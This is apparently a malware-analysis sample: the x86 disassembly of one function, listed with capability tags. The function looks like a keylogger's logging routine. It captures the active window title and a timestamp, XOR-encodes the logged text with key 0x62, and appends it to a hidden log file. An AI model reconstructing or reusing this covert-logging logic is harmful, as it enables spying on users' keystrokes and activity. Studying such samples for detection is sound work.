Function at 0x10006010
Capabilities:
Encode data using xor
Get file size
Get graphical window text
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x934
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
push esi
push edi
test ebx, ebx
je 0x100062c3
mov esi, ebx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10006035
sub esi, ecx
mov dword [ebp - 0x924], esi
lea eax, [esi - 1]
cmp eax, 0x7f
ja 0x100062c3
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov edi, dword [0x10033c2c]
cmp eax, dword [edi + 8]
je 0x100060fb
push 0x100
lea ecx, [ebp - 0x108]
mov dword [edi + 8], eax
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x918]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x800
lea eax, [ebp - 0x908]
push 0
push eax
call fcn.100146a0
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
movzx eax, word [ebp - 0x90c]
push eax
movzx eax, word [ebp - 0x90e]
push eax
movzx eax, word [ebp - 0x910]
push eax
movzx eax, word [ebp - 0x918]
push eax
movzx eax, word [ebp - 0x912]
push eax
movzx eax, word [ebp - 0x916]
push eax
lea eax, [ebp - 0x908]
push str._r_n__02d__02d__d__02d:_02d:_02d____s__r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
lea ecx, [ebp - 0x908]
call fcn.10006010
mov edi, dword [0x10033c2c]
cmp byte [edi + 0xc], 0
je 0x10006287
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
lea eax, [edi + 0xd]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x930], 0
push 0
push edi
mov dword [ebp - 0x934], edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10006150
push 2
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
mov dword [ebp - 0x928], edi
call fcn.10012436
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x920], ecx
test edi, edi
jle 0x10006252
cmp edi, 0x40
jb 0x10006219
lea eax, [ebx - 1]
add eax, edi
cmp ecx, eax
ja 0x10006199
lea eax, [ecx - 1]
add eax, edi
cmp eax, ebx
jae 0x10006219
mov eax, edi
and eax, 0x8000003f
jns 0x100061a7
dec eax
or eax, 0xffffffc0
inc eax
movaps xmm1, xmmword [0x1002e7d0]
mov esi, ebx
mov dword [ebp - 0x91c], edi
sub dword [ebp - 0x91c], eax
sub esi, ecx
mov dword [ebp - 0x92c], esi
mov eax, ecx
mov esi, dword [ebp - 0x924]
mov edi, dword [ebp - 0x92c]
movups xmm0, xmmword [edi + eax]
lea eax, [eax + 0x40]
pxor xmm0, xmm1
movups xmmword [eax - 0x40], xmm0
movups xmm0, xmmword [ebx + edx + 0x10]
pxor xmm0, xmm1
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [ebx + edx + 0x20]
pxor xmm0, xmm1
movups xmmword [eax - 0x20], xmm0
movups xmm0, xmmword [ebx + edx + 0x30]
add edx, 0x40
pxor xmm0, xmm1
movups xmmword [eax - 0x10], xmm0
cmp edx, dword [ebp - 0x91c]
jl 0x100061d2
mov edi, dword [ebp - 0x928]
cmp edx, edi
jge 0x10006252
mov esi, ebx
add ecx, edx
sub esi, dword [ebp - 0x920]
sub edi, edx
nop dword [eax]
mov al, byte [ecx + esi]
lea ecx, [ecx + 1]
xor al, 0x62
mov byte [ecx - 1], al
sub edi, 1
jne 0x10006230
mov esi, dword [ebp - 0x924]
mov edi, dword [ebp - 0x928]
mov ecx, dword [ebp - 0x920]
push 0
lea eax, [ebp - 0x930]
push eax
push edi
mov edi, dword [ebp - 0x934]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
push dword [ebp - 0x920]
call fcn.1001246f
mov edi, dword [0x10033c2c]
add esp, 8
mov eax, dword [edi]
add eax, esi
cmp eax, 0x400
jbe 0x100062ae
push 0x400
lea eax, [edi + 0x111]
push 0
push eax
call fcn.100146a0
add esp, 0xc
mov dword [edi], 0
push ebx
lea eax, [edi + 0x111]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x10033c2c]
add dword [eax], esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012425
mov esp, ebp
pop ebp
ret